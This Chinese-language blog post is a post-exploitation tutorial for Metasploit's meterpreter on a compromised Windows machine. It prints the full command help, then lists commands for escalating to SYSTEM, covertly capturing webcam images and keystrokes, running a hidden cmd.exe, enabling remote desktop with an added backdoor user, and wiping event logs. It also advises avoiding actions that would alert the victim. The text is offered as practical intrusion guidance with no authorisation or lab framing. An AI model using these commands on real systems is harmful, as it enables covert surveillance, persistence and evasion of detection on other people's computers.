后渗透的常用姿势

我的这篇《FreeSSHd 远程身份验证绕过漏洞利用》文章教大家如何利用一个服务的漏洞渗透一台服务器。

接下来谈谈渗透后的基本操作。

假设你已经获得了一个meterpreter连接。输入help就可以看到最基本的功能。英文很简单，我就不翻译了。

meterpreter > help

Core Commands
=============

    Command                   Description
    -------                   -----------
    ?                         Help menu
    background                Backgrounds the current session
    bg                        Alias for background
    bgkill                    Kills a background meterpreter script
    bglist                    Lists running background scripts
    bgrun                     Executes a meterpreter script as a background thread
    channel                   Displays information or control active channels
    close                     Closes a channel
    disable_unicode_encoding  Disables encoding of unicode strings
    enable_unicode_encoding   Enables encoding of unicode strings
    exit                      Terminate the meterpreter session
    get_timeouts              Get the current session timeout values
    guid                      Get the session GUID
    help                      Help menu
    info                      Displays information about a Post module
    irb                       Open an interactive Ruby shell on the current session
    load                      Load one or more meterpreter extensions
    machine_id                Get the MSF ID of the machine attached to the session
    migrate                   Migrate the server to another process
    pivot                     Manage pivot listeners
    pry                       Open the Pry debugger on the current session
    quit                      Terminate the meterpreter session
    read                      Reads data from a channel
    resource                  Run the commands stored in a file
    run                       Executes a meterpreter script or Post module
    sessions                  Quickly switch to another session
    set_timeouts              Set the current session timeout values
    sleep                     Force Meterpreter to go quiet, then re-establish session.
    transport                 Change the current transport mechanism
    use                       Deprecated alias for "load"
    uuid                      Get the UUID for the current session
    write                     Writes data to a channel


Stdapi: File system Commands
============================

    Command       Description
    -------       -----------
    cat           Read the contents of a file to the screen
    cd            Change directory
    checksum      Retrieve the checksum of a file
    cp            Copy source to destination
    dir           List files (alias for ls)
    download      Download a file or directory
    edit          Edit a file
    getlwd        Print local working directory
    getwd         Print working directory
    lcd           Change local working directory
    lls           List local files
    lpwd          Print local working directory
    ls            List files
    mkdir         Make directory
    mv            Move source to destination
    pwd           Print working directory
    rm            Delete the specified file
    rmdir         Remove directory
    search        Search for files
    show_mount    List all mount points/logical drives
    upload        Upload a file or directory


Stdapi: Networking Commands
===========================

    Command       Description
    -------       -----------
    arp           Display the host ARP cache
    getproxy      Display the current proxy configuration
    ifconfig      Display interfaces
    ipconfig      Display interfaces
    netstat       Display the network connections
    portfwd       Forward a local port to a remote service
    resolve       Resolve a set of host names on the target
    route         View and modify the routing table


Stdapi: System Commands
=======================

    Command       Description
    -------       -----------
    clearev       Clear the event log
    drop_token    Relinquishes any active impersonation token.
    execute       Execute a command
    getenv        Get one or more environment variable values
    getpid        Get the current process identifier
    getprivs      Attempt to enable all privileges available to the current process
    getsid        Get the SID of the user that the server is running as
    getuid        Get the user that the server is running as
    kill          Terminate a process
    localtime     Displays the target system's local date and time
    pgrep         Filter processes by name
    pkill         Terminate processes by name
    ps            List running processes
    reboot        Reboots the remote computer
    reg           Modify and interact with the remote registry
    rev2self      Calls RevertToSelf() on the remote machine
    shell         Drop into a system command shell
    shutdown      Shuts down the remote computer
    steal_token   Attempts to steal an impersonation token from the target process
    suspend       Suspends or resumes a list of processes
    sysinfo       Gets information about the remote system, such as OS


Stdapi: User interface Commands
===============================

    Command        Description
    -------        -----------
    enumdesktops   List all accessible desktops and window stations
    getdesktop     Get the current meterpreter desktop
    idletime       Returns the number of seconds the remote user has been idle
    keyscan_dump   Dump the keystroke buffer
    keyscan_start  Start capturing keystrokes
    keyscan_stop   Stop capturing keystrokes
    screenshot     Grab a screenshot of the interactive desktop
    setdesktop     Change the meterpreters current desktop
    uictl          Control some of the user interface components


Stdapi: Webcam Commands
=======================

    Command        Description
    -------        -----------
    record_mic     Record audio from the default microphone for X seconds
    webcam_chat    Start a video chat
    webcam_list    List webcams
    webcam_snap    Take a snapshot from the specified webcam
    webcam_stream  Play a video stream from the specified webcam


Stdapi: Audio Output Commands
=============================

    Command       Description
    -------       -----------
    play          play an audio file on target system, nothing written on disk


Priv: Elevate Commands
======================

    Command       Description
    -------       -----------
    getsystem     Attempt to elevate your privilege to that of local system.


Priv: Password database Commands
================================

    Command       Description
    -------       -----------
    hashdump      Dumps the contents of the SAM database


Priv: Timestomp Commands
========================

    Command       Description
    -------       -----------
    timestomp     Manipulate file MACE attributes

 

我常用的姿势
 

getuid    #查看权限
sysinfo    #查看机机的系统信息
ps    #查看当前运行的进程
kill <pid>    #杀掉进程
shell    #进入机机的cmd模式。通过exit退回meterpreter
webcam_list    #查看摄像头
webcam_snap     #通过摄像头拍照
webcam_stream     #通过摄像头开启视频
getsystem    #获得system权限
enumdesktops  #查看可用的桌面
getdesktop    #获取当前meterpreter 关联的桌面
set_desktop   #设置meterpreter关联的桌面  -h查看帮助
screenshot  #截屏
upload <本地文件地址> <目标地址>  # 上传文件到目标机上
execute #在目标机中执行文件
execute -H -i -f cmd.exe # 创建新进程cmd.exe，-H不可见，-i交互

还可以执行很多我们熟悉的文件系统命令

ls
cd
search
cat
rm
mkdir

 如果进入了cmd shell，更是可以直接使用cmd的指令执行文件操作了。

shell

嗅探键盘记录

keyscan_start   #开始键盘记录
keyscan_dump    #导出记录数据
keyscan_stop    #结束键盘记录

开启远程桌面的简单方法：

很多教程教你打一大段命令添加用户、组、注册表，其实msf内置的enable_rdp脚本可以方便地开启远程桌面服务。

run post/windows/manage/enable_rdp  #开启远程桌面
run post/windows/manage/enable_rdp USERNAME=smart PASSWORD=i2E456 #添加用户，设置用户名密码

 最后，别忘了清理

background    #将会话放在后台，方便我们运行其它脚本
run post/windows/manage/delete_user    #使用这个脚本删除我们建立的用户
session -l    #查看已连接的会话
session -i <id>    #进入某会话
clearev    #最后清理日志

不要轻易使用reboot、shutdown等容易被察觉的操作，而且会导致你断开连接。

有大牛系统地整理了更详细用法。请移步 https://xz.aliyun.com/t/2536

 

后续我再更新我常用又好用的姿势。